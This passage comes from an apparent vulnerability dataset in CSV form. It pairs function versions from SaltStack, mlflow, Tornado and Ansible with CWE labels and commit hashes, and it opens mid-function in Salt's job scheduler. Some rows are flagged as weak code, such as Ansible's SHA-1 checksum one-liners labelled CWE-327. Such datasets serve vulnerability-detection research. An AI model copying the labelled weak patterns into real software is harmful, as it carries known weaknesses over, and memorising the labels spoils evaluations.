                        data['_next_fire_time'] = int(
                            time.mktime(once.timetuple()))
                    except (TypeError, ValueError):
                        log.error('Date string could not be parsed: %s, %s',
                                  data['once'], once_fmt)
                        continue
                    if data['_next_fire_time'] != now:
                        continue

            elif 'when' in data:
                if not _WHEN_SUPPORTED:
                    log.error('Missing python-dateutil. '
                              'Ignoring job {0}.'.format(job))
                    continue

                if isinstance(data['when'], list):
                    _when = []
                    for i in data['when']:
                        if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                                i in self.opts['pillar']['whens']):
                            if not isinstance(self.opts['pillar']['whens'],
                                              dict):
                                log.error('Pillar item ""whens"" must be dict. '
                                          'Ignoring')
                                continue
                            __when = self.opts['pillar']['whens'][i]
                            try:
                                when__ = dateutil_parser.parse(__when)
                            except ValueError:
                                log.error('Invalid date string. Ignoring')
                                continue
                        elif ('whens' in self.opts['grains'] and
                              i in self.opts['grains']['whens']):
                            if not isinstance(self.opts['grains']['whens'],
                                              dict):
                                log.error('Grain ""whens"" must be dict.'
                                          'Ignoring')
                                continue
                            __when = self.opts['grains']['whens'][i]
                            try:
                                when__ = dateutil_parser.parse(__when)
                            except ValueError:
                                log.error('Invalid date string. Ignoring')
                                continue
                        else:
                            try:
                                when__ = dateutil_parser.parse(i)
                            except ValueError:
                                log.error('Invalid date string {0}. '
                                          'Ignoring job {1}.'.format(i, job))
                                continue
                        _when.append(int(time.mktime(when__.timetuple())))

                    if data['_splay']:
                        _when.append(data['_splay'])

                    # Sort the list of ""whens"" from earlier to later schedules
                    _when.sort()

                    # Copy the list so we can loop through it
                    for i in copy.deepcopy(_when):
                        if len(_when) > 1:
                            if i < now - self.opts['loop_interval']:
                                # Remove all missed schedules except the latest one.
                                # We need it to detect if it was triggered previously.
                                _when.remove(i)

                    if _when:
                        # Grab the first element, which is the next run time or
                        # last scheduled time in the past.
                        when = _when[0]

                        if '_run' not in data:
                            # Prevent run of jobs from the past
                            data['_run'] = bool(when >= now)

                        if not data['_next_fire_time']:
                            data['_next_fire_time'] = when

                        if data['_next_fire_time'] < when and \
                                not data['_run']:
                            data['_next_fire_time'] = when
                            data['_run'] = True

                    elif not data.get('_run', False):
                        data['_next_fire_time'] = None
                        continue

                else:
                    if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                            data['when'] in self.opts['pillar']['whens']):
                        if not isinstance(self.opts['pillar']['whens'], dict):
                            log.error('Pillar item ""whens"" must be dict.'
                                      'Ignoring')
                            continue
                        _when = self.opts['pillar']['whens'][data['when']]
                        try:
                            when__ = dateutil_parser.parse(_when)
                        except ValueError:
                            log.error('Invalid date string. Ignoring')
                            continue
                    elif ('whens' in self.opts['grains'] and
                          data['when'] in self.opts['grains']['whens']):
                        if not isinstance(self.opts['grains']['whens'], dict):
                            log.error('Grain ""whens"" must be dict. Ignoring')
                            continue
                        _when = self.opts['grains']['whens'][data['when']]
                        try:
                            when__ = dateutil_parser.parse(_when)
                        except ValueError:
                            log.error('Invalid date string. Ignoring')
                            continue
                    else:
                        try:
                            when__ = dateutil_parser.parse(data['when'])
                        except ValueError:
                            log.error('Invalid date string. Ignoring')
                            continue
                    when = int(time.mktime(when__.timetuple()))

                    if when < now and \
                            not data.get('_run', False) and \
                            not data['_splay']:
                        data['_next_fire_time'] = None
                        continue

                    if '_run' not in data:
                        data['_run'] = True

                    if not data['_next_fire_time']:
                        data['_next_fire_time'] = when

                    if data['_next_fire_time'] < when and \
                            not data['_run']:
                        data['_next_fire_time'] = when
                        data['_run'] = True

            elif 'cron' in data:
                if not _CRON_SUPPORTED:
                    log.error('Missing python-croniter. Ignoring job {0}'.format(job))
                    continue

                if data['_next_fire_time'] is None:
                    # Get next time frame for a ""cron"" job if it has been never
                    # executed before or already executed in the past.
                    try:
                        data['_next_fire_time'] = int(
                            croniter.croniter(data['cron'], now).get_next())
                    except (ValueError, KeyError):
                        log.error('Invalid cron string. Ignoring')
                        continue

                    # If next job run is scheduled more than 1 minute ahead and
                    # configured loop interval is longer than that, we should
                    # shorten it to get our job executed closer to the beginning
                    # of desired time.
                    interval = now - data['_next_fire_time']
                    if interval >= 60 and interval < self.loop_interval:
                        self.loop_interval = interval

            else:
                continue

            run = False
            seconds = data['_next_fire_time'] - now
            if data['_splay']:
                seconds = data['_splay'] - now
            if '_seconds' in data:
                if seconds <= 0:
                    run = True
            elif 'when' in data and data['_run']:
                if data['_next_fire_time'] <= now <= (data['_next_fire_time'] + self.opts['loop_interval']):
                    data['_run'] = False
                    run = True
            elif 'cron' in data:
                # Reset next scheduled time because it is in the past now,
                # and we should trigger the job run, then wait for the next one.
                if seconds <= 0:
                    data['_next_fire_time'] = None
                    run = True
            elif seconds == 0:
                run = True

            if '_run_on_start' in data and data['_run_on_start']:
                run = True
                data['_run_on_start'] = False
            elif run:
                if 'splay' in data and not data['_splay']:
                    splay = _splay(data['splay'])
                    if now < data['_next_fire_time'] + splay:
                        log.debug('schedule.handle_func: Adding splay of '
                                  '{0} seconds to next run.'.format(splay))
                        run = False
                        data['_splay'] = data['_next_fire_time'] + splay
                        if 'when' in data:
                            data['_run'] = True

                if 'range' in data:
                    if not _RANGE_SUPPORTED:
                        log.error('Missing python-dateutil. Ignoring job {0}'.format(job))
                        continue
                    else:
                        if isinstance(data['range'], dict):
                            try:
                                start = int(time.mktime(dateutil_parser.parse(data['range']['start']).timetuple()))
                            except ValueError:
                                log.error('Invalid date string for start. Ignoring job {0}.'.format(job))
                                continue
                            try:
                                end = int(time.mktime(dateutil_parser.parse(data['range']['end']).timetuple()))
                            except ValueError:
                                log.error('Invalid date string for end. Ignoring job {0}.'.format(job))
                                continue
                            if end > start:
                                if 'invert' in data['range'] and data['range']['invert']:
                                    if now <= start or now >= end:
                                        run = True
                                    else:
                                        run = False
                                else:
                                    if start <= now <= end:
                                        run = True
                                    else:
                                        if self.skip_function:
                                            run = True
                                            func = self.skip_function
                                        else:
                                            run = False
                            else:
                                log.error('schedule.handle_func: Invalid range, end must be larger than start. \
                                         Ignoring job {0}.'.format(job))
                                continue
                        else:
                            log.error('schedule.handle_func: Invalid, range must be specified as a dictionary. \
                                     Ignoring job {0}.'.format(job))
                            continue

                if 'skip_during_range' in data:
                    if not _RANGE_SUPPORTED:
                        log.error('Missing python-dateutil. Ignoring job {0}'.format(job))
                        continue
                    else:
                        if isinstance(data['skip_during_range'], dict):
                            try:
                                start = int(time.mktime(dateutil_parser.parse(data['skip_during_range']['start']).timetuple()))
                            except ValueError:
                                log.error('Invalid date string for start in skip_during_range. Ignoring job {0}.'.format(job))
                                continue
                            try:
                                end = int(time.mktime(dateutil_parser.parse(data['skip_during_range']['end']).timetuple()))
                            except ValueError:
                                log.error('Invalid date string for end in skip_during_range. Ignoring job {0}.'.format(job))
                                log.error(data)
                                continue
                            if end > start:
                                if start <= now <= end:
                                    if self.skip_function:
                                        run = True
                                        func = self.skip_function
                                    else:
                                        run = False
                                else:
                                    run = True
                            else:
                                log.error('schedule.handle_func: Invalid range, end must be larger than start. \
                                         Ignoring job {0}.'.format(job))
                                continue
                        else:
                            log.error('schedule.handle_func: Invalid, range must be specified as a dictionary. \
                                     Ignoring job {0}.'.format(job))
                            continue

                if 'skip_explicit' in data:
                    _skip_explicit = data['skip_explicit']

                    if isinstance(_skip_explicit, six.string_types):
                        _skip_explicit = [_skip_explicit]

                    # Copy the list so we can loop through it
                    for i in copy.deepcopy(_skip_explicit):
                        if i < now - self.opts['loop_interval']:
                            _skip_explicit.remove(i)

                    if _skip_explicit:
                        if _skip_explicit[0] <= now <= (_skip_explicit[0] + self.opts['loop_interval']):
                            if self.skip_function:
                                run = True
                                func = self.skip_function
                            else:
                                run = False
                        else:
                            run = True

            if not run:
                continue

            miss_msg = ''
            if seconds < 0:
                miss_msg = ' (runtime missed ' \
                           'by {0} seconds)'.format(abs(seconds))

            log.info('Running scheduled job: {0}{1}'.format(job, miss_msg))

            if 'jid_include' not in data or data['jid_include']:
                data['jid_include'] = True
                log.debug('schedule: This job was scheduled with jid_include, '
                          'adding to cache (jid_include defaults to True)')
                if 'maxrunning' in data:
                    log.debug('schedule: This job was scheduled with a max '
                              'number of {0}'.format(data['maxrunning']))
                else:
                    log.info('schedule: maxrunning parameter was not specified for '
                             'job {0}, defaulting to 1.'.format(job))
                    data['maxrunning'] = 1

            multiprocessing_enabled = self.opts.get('multiprocessing', True)

            if salt.utils.platform.is_windows():
                # Temporarily stash our function references.
                # You can't pickle function references, and pickling is
                # required when spawning new processes on Windows.
                functions = self.functions
                self.functions = {}
                returners = self.returners
                self.returners = {}
            try:
                if multiprocessing_enabled:
                    thread_cls = salt.utils.process.SignalHandlingMultiprocessingProcess
                else:
                    thread_cls = threading.Thread
                proc = thread_cls(target=self.handle_func, args=(multiprocessing_enabled, func, data))

                if multiprocessing_enabled:
                    with salt.utils.process.default_signals(signal.SIGINT, signal.SIGTERM):
                        # Reset current signals before starting the process in
                        # order not to inherit the current signal handlers
                        proc.start()
                else:
                    proc.start()

                if multiprocessing_enabled:
                    proc.join()
            finally:
                if '_seconds' in data:
                    data['_next_fire_time'] = now + data['_seconds']
                data['_last_run'] = now
                data['_splay'] = None
            if salt.utils.platform.is_windows():
                # Restore our function references.
                self.functions = functions
                self.returners = returners"
,UNKNOWN,UNKNOWN,tests/tracking/test_rest_tracking.py,1,"def test_log_batch(mlflow_client, backend_store_uri):
    experiment_id = mlflow_client.create_experiment(""Batch em up"")
    created_run = mlflow_client.create_run(experiment_id)
    run_id = created_run.info.run_id
    mlflow_client.log_batch(
        run_id=run_id,
        metrics=[Metric(""metric"", 123.456, 789, 3)],
        params=[Param(""param"", ""value"")],
        tags=[RunTag(""taggity"", ""do-dah"")],
    )
    run = mlflow_client.get_run(run_id)
    assert run.data.metrics.get(""metric"") == 123.456
    assert run.data.params.get(""param"") == ""value""
    assert run.data.tags.get(""taggity"") == ""do-dah""
    metric_history = mlflow_client.get_metric_history(run_id, ""metric"")
    assert len(metric_history) == 1
    metric = metric_history[0]
    assert metric.key == ""metric""
    assert metric.value == 123.456
    assert metric.timestamp == 789
    assert metric.step == 3",CWE-703,mlflow/mlflow,a9683f907f29f9fcd06459e4ab60eaa3be334cbc,"def test_log_batch(mlflow_client, backend_store_uri):
    experiment_id = mlflow_client.create_experiment(""Batch em up"")
    created_run = mlflow_client.create_run(experiment_id)
    run_id = created_run.info.run_id
    mlflow_client.log_batch(
        run_id=run_id,
        metrics=[Metric(""metric"", 123.456, 789, 3)],
        params=[Param(""param"", ""value"")],
        tags=[RunTag(""taggity"", ""do-dah"")],
    )
    run = mlflow_client.get_run(run_id)
    assert run.data.metrics.get(""metric"") == 123.456
    assert run.data.params.get(""param"") == ""value""
    assert run.data.tags.get(""taggity"") == ""do-dah""
    metric_history = mlflow_client.get_metric_history(run_id, ""metric"")
    assert len(metric_history) == 1
    metric = metric_history[0]
    assert metric.key == ""metric""
    assert metric.value == 123.456
    assert metric.timestamp == 789
    assert metric.step == 3"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/fileserver/minionfs.py,0,"def __virtual__():
    '''
    Only load if file_recv is enabled
    '''
    if __virtualname__ not in __opts__['fileserver_backend']:
        return False
    if not __opts__['file_recv']:
        return False
    return __virtualname__",,saltstack/salt,dce57ea8b7fc5063d3ac580445cbce518a50ed83,"def __virtual__():
    '''
    Only load if file_recv is enabled
    '''
    if not __virtualname__ in __opts__['fileserver_backend']:
        return False
    if not __opts__['file_recv']:
        return False
    return __virtualname__"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/curl_httpclient.py,0,"def _curl_setup_request(curl, request, buffer, headers):
    curl.setopt(pycurl.URL, native_str(request.url))

    # libcurl's magic ""Expect: 100-continue"" behavior causes delays
    # with servers that don't support it (which include, among others,
    # Google's OpenID endpoint).  Additionally, this behavior has
    # a bug in conjunction with the curl_multi_socket_action API
    # (https://sourceforge.net/tracker/?func=detail&atid=100976&aid=3039744&group_id=976),
    # which increases the delays.  It's more trouble than it's worth,
    # so just turn off the feature (yes, setting Expect: to an empty
    # value is the official way to disable this)
    if ""Expect"" not in request.headers:
        request.headers[""Expect""] = """"

    # libcurl adds Pragma: no-cache by default; disable that too
    if ""Pragma"" not in request.headers:
        request.headers[""Pragma""] = """"

    # Request headers may be either a regular dict or HTTPHeaders object
    if isinstance(request.headers, httputil.HTTPHeaders):
        curl.setopt(pycurl.HTTPHEADER,
                    [native_str(""%s: %s"" % i) for i in request.headers.get_all()])
    else:
        curl.setopt(pycurl.HTTPHEADER,
                    [native_str(""%s: %s"" % i) for i in request.headers.items()])

    if request.header_callback:
        curl.setopt(pycurl.HEADERFUNCTION,
                    lambda line: request.header_callback(native_str(line)))
    else:
        curl.setopt(pycurl.HEADERFUNCTION,
                    lambda line: _curl_header_callback(headers,
                                                       native_str(line)))
    if request.streaming_callback:
        write_function = request.streaming_callback
    else:
        write_function = buffer.write
    if bytes_type is str:  # py2
        curl.setopt(pycurl.WRITEFUNCTION, write_function)
    else:  # py3
        # Upstream pycurl doesn't support py3, but ubuntu 12.10 includes
        # a fork/port.  That version has a bug in which it passes unicode
        # strings instead of bytes to the WRITEFUNCTION.  This means that
        # if you use a WRITEFUNCTION (which tornado always does), you cannot
        # download arbitrary binary data.  This needs to be fixed in the
        # ported pycurl package, but in the meantime this lambda will
        # make it work for downloading (utf8) text.
        curl.setopt(pycurl.WRITEFUNCTION, lambda s: write_function(utf8(s)))
    curl.setopt(pycurl.FOLLOWLOCATION, request.follow_redirects)
    curl.setopt(pycurl.MAXREDIRS, request.max_redirects)
    curl.setopt(pycurl.CONNECTTIMEOUT_MS, int(1000 * request.connect_timeout))
    curl.setopt(pycurl.TIMEOUT_MS, int(1000 * request.request_timeout))
    if request.user_agent:
        curl.setopt(pycurl.USERAGENT, native_str(request.user_agent))
    else:
        curl.setopt(pycurl.USERAGENT, ""Mozilla/5.0 (compatible; pycurl)"")
    if request.network_interface:
        curl.setopt(pycurl.INTERFACE, request.network_interface)
    if request.use_gzip:
        curl.setopt(pycurl.ENCODING, ""gzip,deflate"")
    else:
        curl.setopt(pycurl.ENCODING, ""none"")
    if request.proxy_host and request.proxy_port:
        curl.setopt(pycurl.PROXY, request.proxy_host)
        curl.setopt(pycurl.PROXYPORT, request.proxy_port)
        if request.proxy_username:
            credentials = '%s:%s' % (request.proxy_username,
                                     request.proxy_password)
            curl.setopt(pycurl.PROXYUSERPWD, credentials)
    else:
        curl.setopt(pycurl.PROXY, '')
        curl.unsetopt(pycurl.PROXYUSERPWD)
    if request.validate_cert:
        curl.setopt(pycurl.SSL_VERIFYPEER, 1)
        curl.setopt(pycurl.SSL_VERIFYHOST, 2)
    else:
        curl.setopt(pycurl.SSL_VERIFYPEER, 0)
        curl.setopt(pycurl.SSL_VERIFYHOST, 0)
    if request.ca_certs is not None:
        curl.setopt(pycurl.CAINFO, request.ca_certs)
    else:
        # There is no way to restore pycurl.CAINFO to its default value
        # (Using unsetopt makes it reject all certificates).
        # I don't see any way to read the default value from python so it
        # can be restored later.  We'll have to just leave CAINFO untouched
        # if no ca_certs file was specified, and require that if any
        # request uses a custom ca_certs file, they all must.
        pass

    if request.allow_ipv6 is False:
        # Curl behaves reasonably when DNS resolution gives an ipv6 address
        # that we can't reach, so allow ipv6 unless the user asks to disable.
        # (but see version check in _process_queue above)
        curl.setopt(pycurl.IPRESOLVE, pycurl.IPRESOLVE_V4)
    else:
        curl.setopt(pycurl.IPRESOLVE, pycurl.IPRESOLVE_WHATEVER)

    # Set the request method through curl's irritating interface which makes
    # up names for almost every single method
    curl_options = {
        ""GET"": pycurl.HTTPGET,
        ""POST"": pycurl.POST,
        ""PUT"": pycurl.UPLOAD,
        ""HEAD"": pycurl.NOBODY,
    }
    custom_methods = set([""DELETE"", ""OPTIONS"", ""PATCH""])
    for o in curl_options.values():
        curl.setopt(o, False)
    if request.method in curl_options:
        curl.unsetopt(pycurl.CUSTOMREQUEST)
        curl.setopt(curl_options[request.method], True)
    elif request.allow_nonstandard_methods or request.method in custom_methods:
        curl.setopt(pycurl.CUSTOMREQUEST, request.method)
    else:
        raise KeyError('unknown method ' + request.method)

    # Handle curl's cryptic options for every individual HTTP method
    if request.method in (""POST"", ""PUT""):
        if request.body is None:
            raise AssertionError(
                'Body must not be empty for ""%s"" request'
                % request.method)

        request_buffer = BytesIO(utf8(request.body))
        curl.setopt(pycurl.READFUNCTION, request_buffer.read)
        if request.method == ""POST"":
            def ioctl(cmd):
                if cmd == curl.IOCMD_RESTARTREAD:
                    request_buffer.seek(0)
            curl.setopt(pycurl.IOCTLFUNCTION, ioctl)
            curl.setopt(pycurl.POSTFIELDSIZE, len(request.body))
        else:
            curl.setopt(pycurl.INFILESIZE, len(request.body))
    elif request.method == ""GET"":
        if request.body is not None:
            raise AssertionError('Body must be empty for GET request')

    if request.auth_username is not None:
        userpwd = ""%s:%s"" % (request.auth_username, request.auth_password or '')

        if request.auth_mode is None or request.auth_mode == ""basic"":
            curl.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_BASIC)
        elif request.auth_mode == ""digest"":
            curl.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_DIGEST)
        else:
            raise ValueError(""Unsupported auth_mode %s"" % request.auth_mode)

        curl.setopt(pycurl.USERPWD, native_str(userpwd))
        gen_log.debug(""%s %s (username: %r)"", request.method, request.url,
                      request.auth_username)
    else:
        curl.unsetopt(pycurl.USERPWD)
        gen_log.debug(""%s %s"", request.method, request.url)

    if request.client_cert is not None:
        curl.setopt(pycurl.SSLCERT, request.client_cert)

    if request.client_key is not None:
        curl.setopt(pycurl.SSLKEY, request.client_key)

    if threading.activeCount() > 1:
        # libcurl/pycurl is not thread-safe by default.  When multiple threads
        # are used, signals should be disabled.  This has the side effect
        # of disabling DNS timeouts in some environments (when libcurl is
        # not linked against ares), so we don't do it when there is only one
        # thread.  Applications that use many short-lived threads may need
        # to set NOSIGNAL manually in a prepare_curl_callback since
        # there may not be any other threads running at the time we call
        # threading.activeCount.
        curl.setopt(pycurl.NOSIGNAL, 1)
    if request.prepare_curl_callback is not None:
        request.prepare_curl_callback(curl)",CWE-Unknown,tornadoweb/tornado,f5ac210298c9006e08284d5845fe661fe6f9be44,"def _curl_setup_request(curl, request, buffer, headers):
    curl.setopt(pycurl.URL, native_str(request.url))

    # libcurl's magic ""Expect: 100-continue"" behavior causes delays
    # with servers that don't support it (which include, among others,
    # Google's OpenID endpoint).  Additionally, this behavior has
    # a bug in conjunction with the curl_multi_socket_action API
    # (https://sourceforge.net/tracker/?func=detail&atid=100976&aid=3039744&group_id=976),
    # which increases the delays.  It's more trouble than it's worth,
    # so just turn off the feature (yes, setting Expect: to an empty
    # value is the official way to disable this)
    if ""Expect"" not in request.headers:
        request.headers[""Expect""] = """"

    # libcurl adds Pragma: no-cache by default; disable that too
    if ""Pragma"" not in request.headers:
        request.headers[""Pragma""] = """"

    # Request headers may be either a regular dict or HTTPHeaders object
    if isinstance(request.headers, httputil.HTTPHeaders):
        curl.setopt(pycurl.HTTPHEADER,
                    [native_str(""%s: %s"" % i) for i in request.headers.get_all()])
    else:
        curl.setopt(pycurl.HTTPHEADER,
                    [native_str(""%s: %s"" % i) for i in request.headers.items()])

    if request.header_callback:
        curl.setopt(pycurl.HEADERFUNCTION, request.header_callback)
    else:
        curl.setopt(pycurl.HEADERFUNCTION,
                    lambda line: _curl_header_callback(headers, line))
    if request.streaming_callback:
        write_function = request.streaming_callback
    else:
        write_function = buffer.write
    if bytes_type is str:  # py2
        curl.setopt(pycurl.WRITEFUNCTION, write_function)
    else:  # py3
        # Upstream pycurl doesn't support py3, but ubuntu 12.10 includes
        # a fork/port.  That version has a bug in which it passes unicode
        # strings instead of bytes to the WRITEFUNCTION.  This means that
        # if you use a WRITEFUNCTION (which tornado always does), you cannot
        # download arbitrary binary data.  This needs to be fixed in the
        # ported pycurl package, but in the meantime this lambda will
        # make it work for downloading (utf8) text.
        curl.setopt(pycurl.WRITEFUNCTION, lambda s: write_function(utf8(s)))
    curl.setopt(pycurl.FOLLOWLOCATION, request.follow_redirects)
    curl.setopt(pycurl.MAXREDIRS, request.max_redirects)
    curl.setopt(pycurl.CONNECTTIMEOUT_MS, int(1000 * request.connect_timeout))
    curl.setopt(pycurl.TIMEOUT_MS, int(1000 * request.request_timeout))
    if request.user_agent:
        curl.setopt(pycurl.USERAGENT, native_str(request.user_agent))
    else:
        curl.setopt(pycurl.USERAGENT, ""Mozilla/5.0 (compatible; pycurl)"")
    if request.network_interface:
        curl.setopt(pycurl.INTERFACE, request.network_interface)
    if request.use_gzip:
        curl.setopt(pycurl.ENCODING, ""gzip,deflate"")
    else:
        curl.setopt(pycurl.ENCODING, ""none"")
    if request.proxy_host and request.proxy_port:
        curl.setopt(pycurl.PROXY, request.proxy_host)
        curl.setopt(pycurl.PROXYPORT, request.proxy_port)
        if request.proxy_username:
            credentials = '%s:%s' % (request.proxy_username,
                                     request.proxy_password)
            curl.setopt(pycurl.PROXYUSERPWD, credentials)
    else:
        curl.setopt(pycurl.PROXY, '')
        curl.unsetopt(pycurl.PROXYUSERPWD)
    if request.validate_cert:
        curl.setopt(pycurl.SSL_VERIFYPEER, 1)
        curl.setopt(pycurl.SSL_VERIFYHOST, 2)
    else:
        curl.setopt(pycurl.SSL_VERIFYPEER, 0)
        curl.setopt(pycurl.SSL_VERIFYHOST, 0)
    if request.ca_certs is not None:
        curl.setopt(pycurl.CAINFO, request.ca_certs)
    else:
        # There is no way to restore pycurl.CAINFO to its default value
        # (Using unsetopt makes it reject all certificates).
        # I don't see any way to read the default value from python so it
        # can be restored later.  We'll have to just leave CAINFO untouched
        # if no ca_certs file was specified, and require that if any
        # request uses a custom ca_certs file, they all must.
        pass

    if request.allow_ipv6 is False:
        # Curl behaves reasonably when DNS resolution gives an ipv6 address
        # that we can't reach, so allow ipv6 unless the user asks to disable.
        # (but see version check in _process_queue above)
        curl.setopt(pycurl.IPRESOLVE, pycurl.IPRESOLVE_V4)
    else:
        curl.setopt(pycurl.IPRESOLVE, pycurl.IPRESOLVE_WHATEVER)

    # Set the request method through curl's irritating interface which makes
    # up names for almost every single method
    curl_options = {
        ""GET"": pycurl.HTTPGET,
        ""POST"": pycurl.POST,
        ""PUT"": pycurl.UPLOAD,
        ""HEAD"": pycurl.NOBODY,
    }
    custom_methods = set([""DELETE"", ""OPTIONS"", ""PATCH""])
    for o in curl_options.values():
        curl.setopt(o, False)
    if request.method in curl_options:
        curl.unsetopt(pycurl.CUSTOMREQUEST)
        curl.setopt(curl_options[request.method], True)
    elif request.allow_nonstandard_methods or request.method in custom_methods:
        curl.setopt(pycurl.CUSTOMREQUEST, request.method)
    else:
        raise KeyError('unknown method ' + request.method)

    # Handle curl's cryptic options for every individual HTTP method
    if request.method in (""POST"", ""PUT""):
        if request.body is None:
            raise AssertionError(
                'Body must not be empty for ""%s"" request'
                % request.method)

        request_buffer = BytesIO(utf8(request.body))
        curl.setopt(pycurl.READFUNCTION, request_buffer.read)
        if request.method == ""POST"":
            def ioctl(cmd):
                if cmd == curl.IOCMD_RESTARTREAD:
                    request_buffer.seek(0)
            curl.setopt(pycurl.IOCTLFUNCTION, ioctl)
            curl.setopt(pycurl.POSTFIELDSIZE, len(request.body))
        else:
            curl.setopt(pycurl.INFILESIZE, len(request.body))
    elif request.method == ""GET"":
        if request.body is not None:
            raise AssertionError('Body must be empty for GET request')

    if request.auth_username is not None:
        userpwd = ""%s:%s"" % (request.auth_username, request.auth_password or '')

        if request.auth_mode is None or request.auth_mode == ""basic"":
            curl.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_BASIC)
        elif request.auth_mode == ""digest"":
            curl.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_DIGEST)
        else:
            raise ValueError(""Unsupported auth_mode %s"" % request.auth_mode)

        curl.setopt(pycurl.USERPWD, native_str(userpwd))
        gen_log.debug(""%s %s (username: %r)"", request.method, request.url,
                      request.auth_username)
    else:
        curl.unsetopt(pycurl.USERPWD)
        gen_log.debug(""%s %s"", request.method, request.url)

    if request.client_cert is not None:
        curl.setopt(pycurl.SSLCERT, request.client_cert)

    if request.client_key is not None:
        curl.setopt(pycurl.SSLKEY, request.client_key)

    if threading.activeCount() > 1:
        # libcurl/pycurl is not thread-safe by default.  When multiple threads
        # are used, signals should be disabled.  This has the side effect
        # of disabling DNS timeouts in some environments (when libcurl is
        # not linked against ares), so we don't do it when there is only one
        # thread.  Applications that use many short-lived threads may need
        # to set NOSIGNAL manually in a prepare_curl_callback since
        # there may not be any other threads running at the time we call
        # threading.activeCount.
        curl.setopt(pycurl.NOSIGNAL, 1)
    if request.prepare_curl_callback is not None:
        request.prepare_curl_callback(curl)"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/shell/sh.py,1,"def checksum(self, path, python_interp):
        # The following test needs to be SH-compliant.  BASH-isms will
        # not work if /bin/sh points to a non-BASH shell.
        #
        # In the following test, each condition is a check and logical
        # comparison (|| or &&) that sets the rc value.  Every check is run so
        # the last check in the series to fail will be the rc that is
        # returned.
        #
        # If a check fails we error before invoking the hash functions because
        # hash functions may successfully take the hash of a directory on BSDs
        # (UFS filesystem?) which is not what the rest of the ansible code
        # expects
        #
        # If all of the available hashing methods fail we fail with an rc of
        # 0.  This logic is added to the end of the cmd at the bottom of this
        # function.

        # Return codes:
        # checksum: success!
        # 0: Unknown error
        # 1: Remote file does not exist
        # 2: No read permissions on the file
        # 3: File is a directory
        # 4: No python interpreter

        # Quoting gets complex here.  We're writing a python string that's
        # used by a variety of shells on the remote host to invoke a python
        # ""one-liner"".
        shell_escaped_path = shlex_quote(path)
        test = ""rc=flag; [ -r %(p)s ] %(shell_or)s rc=2; [ -f %(p)s ] %(shell_or)s rc=1; [ -d %(p)s ] %(shell_and)s rc=3; %(i)s -V 2>/dev/null %(shell_or)s rc=4; [ x\""$rc\"" != \""xflag\"" ] %(shell_and)s echo \""${rc}  \""%(p)s %(shell_and)s exit 0"" % dict(p=shell_escaped_path, i=python_interp, shell_and=self._SHELL_AND, shell_or=self._SHELL_OR)  # NOQA
        csums = [
            u""({0} -c 'import hashlib; BLOCKSIZE = 65536; hasher = hashlib.sha1();{2}afile = open(\""'{1}'\"", \""rb\""){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)"".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),  # NOQA  Python > 2.4 (including python3)
            u""({0} -c 'import sha; BLOCKSIZE = 65536; hasher = sha.sha();{2}afile = open(\""'{1}'\"", \""rb\""){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)"".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),  # NOQA  Python == 2.4
        ]

        cmd = ("" %s "" % self._SHELL_OR).join(csums)
        cmd = ""%s; %s %s (echo \'0  \'%s)"" % (test, cmd, self._SHELL_OR, shell_escaped_path)
        return cmd",CWE-327,ansible/ansible,3164e8b561931b413ee91f537e2ea3273b0a1775,"def checksum(self, path, python_interp):
        # The following test needs to be SH-compliant.  BASH-isms will
        # not work if /bin/sh points to a non-BASH shell.
        #
        # In the following test, each condition is a check and logical
        # comparison (|| or &&) that sets the rc value.  Every check is run so
        # the last check in the series to fail will be the rc that is
        # returned.
        #
        # If a check fails we error before invoking the hash functions because
        # hash functions may successfully take the hash of a directory on BSDs
        # (UFS filesystem?) which is not what the rest of the ansible code
        # expects
        #
        # If all of the available hashing methods fail we fail with an rc of
        # 0.  This logic is added to the end of the cmd at the bottom of this
        # function.

        # Return codes:
        # checksum: success!
        # 0: Unknown error
        # 1: Remote file does not exist
        # 2: No read permissions on the file
        # 3: File is a directory
        # 4: No python interpreter

        # Quoting gets complex here.  We're writing a python string that's
        # used by a variety of shells on the remote host to invoke a python
        # ""one-liner"".
        shell_escaped_path = shlex_quote(path)
        test = ""rc=flag; [ -r %(p)s ] %(shell_or)s rc=2; [ -f %(p)s ] %(shell_or)s rc=1; [ -d %(p)s ] %(shell_and)s rc=3; %(i)s -V 2>/dev/null %(shell_or)s rc=4; [ x\""$rc\"" != \""xflag\"" ] %(shell_and)s echo \""${rc}  \""%(p)s %(shell_and)s exit 0"" % dict(p=shell_escaped_path, i=python_interp, shell_and=self._SHELL_AND, shell_or=self._SHELL_OR)
        csums = [
            u""({0} -c 'import hashlib; BLOCKSIZE = 65536; hasher = hashlib.sha1();{2}afile = open(\""'{1}'\"", \""rb\""){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)"".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),      # Python > 2.4 (including python3)
            u""({0} -c 'import sha; BLOCKSIZE = 65536; hasher = sha.sha();{2}afile = open(\""'{1}'\"", \""rb\""){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)"".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),      # Python == 2.4
        ]

        cmd = ("" %s "" % self._SHELL_OR).join(csums)
        cmd = ""%s; %s %s (echo \'0  \'%s)"" % (test, cmd, self._SHELL_OR, shell_escaped_path)
        return cmd"
